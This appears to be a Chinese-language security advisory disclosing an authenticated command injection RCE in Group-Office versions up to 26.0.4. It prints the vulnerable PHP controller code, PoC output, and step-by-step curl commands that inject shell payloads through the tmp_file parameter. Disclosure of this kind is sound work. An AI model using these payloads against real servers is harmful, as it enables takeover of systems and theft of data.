CVSS 4.0 向量 :
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
在 Group-Office 中发现了一个**严重远程代码执行(RCE)**漏洞。端点 email/message/tnefAttachmentFromTempFile 将用户控制的参数 tmp_file 直接拼接进 exec() 调用。通过在 tmp_file 中注入 shell 元字符,经过身份验证的攻击者可以在服务器上执行任意系统命令。
| 产品 | 受影响版本 |
|---|---|
| Group-Office | ≤ 26.0.4 |
tmp_file 参数取自 HTTP 请求,并未经过转义或验证就被用于构建 shell 命令。这导致在 tnef 提取命令中发生命令注入,而该命令以 Web 服务器的权限运行。
漏洞代码(www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| 阶段 | 描述 |
|---|---|
| 源头 | index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... 中的 查询参数 |
由于 tmp_file 被拼接进 shell 命令,诸如 ;、&、反引号或 $() 之类的元字符允许攻击者附加任意命令。
身份验证要求: 是。
MessageController强制执行security_tokenCSRF 检查,因此需要有效的会话和令牌。
PoC 脚本会登录、获取 security_token、通过 tmp_file 注入 payload,并通过读取 ZIP 响应中的 rce.txt 来验证执行结果。
python3 poc.py
示例输出:
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
步骤 1:登录
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
响应:
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
步骤 2:触发 RCE
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
结果:
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 类别 | 严重级别 | 描述 |
|---|---|---|
| 机密性 | 高 | 任意命令执行允许读取敏感文件。 |
| 完整性 | 高 | 攻击者可以修改或删除服务器文件。 |
tmp_file| 传播 | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| 汇聚点 | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
| 可用性 | 高 | 攻击者可以中断服务或删除关键数据。 |